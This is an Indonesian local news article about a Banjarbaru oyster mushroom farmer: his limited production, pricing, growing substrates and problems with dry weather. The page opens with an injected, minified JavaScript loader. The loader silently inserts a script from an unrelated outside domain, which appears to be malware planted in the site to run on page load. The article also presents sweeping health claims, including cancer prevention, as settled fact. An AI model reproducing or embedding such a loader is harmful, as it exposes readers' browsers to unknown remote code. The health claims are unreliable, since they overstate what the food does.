(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Budidaya jamur memiliki potensi cukup besar untuk dikembangkan. Besarnya permintaan menyebabkan petani jamur kesulitan memenuhi pasokan barang ke konsumen.
Adriansyah, salah satu pelaku usaha budidaya jamur di Jalan Gotong Royong Loktabat Utara, Kecamatan Banjarbaru Utara, kepada Kanalkalimantan.com mengungkapkan, besarnya permintaan pasar menyebabkan dirinya hanya mampu memenuhi sebagian pasar lokal saja.
Adriansyah menyatakan dari 3 ribu baglog jamur yang ia miliki sekarang, mampu memproduksi paling banyak 16 kg. Sementara permintaan setiap harinya cukup banyak.
“Kita punya 3 ribu baglog. Dari sebanyak itu, kita hanya mampu produksinya 16 kg. Itu sangat kurang untuk memenuhi kebutuhan pasar, permintaan banyak tapi kita cuma mampu produksi sedikit,” ujarnya.
Ia mengatakan, jamur tiram hasil budidayanya biasanya diambil pedagang untuk dijual di pasar. Jamur tersebut biasanya ia jual per 2 ons per plastik.
“Kami sudah timbang dan dibungkus plastik untuk siap dijual seharga Rp 6000 dan dipasarkan lagi menjadi Rp 7.000,” katanya.
Ardiansyah mengatakan, budidayakan jamur tiram selain karena mudah. Namun beberapa syarat penting harus diperhatikan seperti substart yang digunakan, suasana atau keadaan tempat untuk membudidayakan, dan faktor ketinggian.
“Biasanya jamur tiram dibudidayakan menggunakan serbuk kayu yang di kemas dalam kantung plastik. Selain itu jamur ini juga bisa di budidayakan menggunakan substart seperti kompos serbuk gergaji kayu, ampas tebu atau sekam,” jelasnya.
Kemudian ciri-ciri dari jamur tiram adalah tundung dari jamur ini berbentuk setengah lingkaran mirip cangkang tiram dengan bagian tengah agak cekung. Tubuh buah terlihat saling bertumpuk di permukaan batang pohon yang sudah melapuk atau pokok batang pohon yang sudah di tebang karena jamur ini merupakan salah satu jenis jamur kayu.
Kenyal empuk jamur tiram ternyata bukan hanya bikin ketagihan tapi juga memberi kesehatan. Rutin makan jamur tiram bisa menurunkan kadar kolestrol dan bikin awet muda. Di dalam jamur tiram mengandung nutrisi yang terbilang komplet mulai dari protein, serat, kalsium hingga pottasium. Jamur tiram juga rendah lemak dan ampuh di jadikan santapan untuk menurunkan kolestrol.
Beberapa khasiat kesehatan yang di dapat dari mengkomsumsi jamur tiram dapat menurunkan kolestrol, memperkuat kekebelan tubuh, menurunkan kadar gula darah, bikin awet muda, dan mencegah kanker.
Adriansyah menjelaskan, kesulitan saat ini karena adanya faktor cuaca yang memperlambat tumbuhnya jamur karena kurang lembabnya cuaca. Terkait kondisi ini, ia menyiasatinya dengan sering menyiram si jamur tiram agar tetap lembab dan cepat tumbuh. (kanalkalimantan.com/dewi)
Reporter: dewi
Editor: cell
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.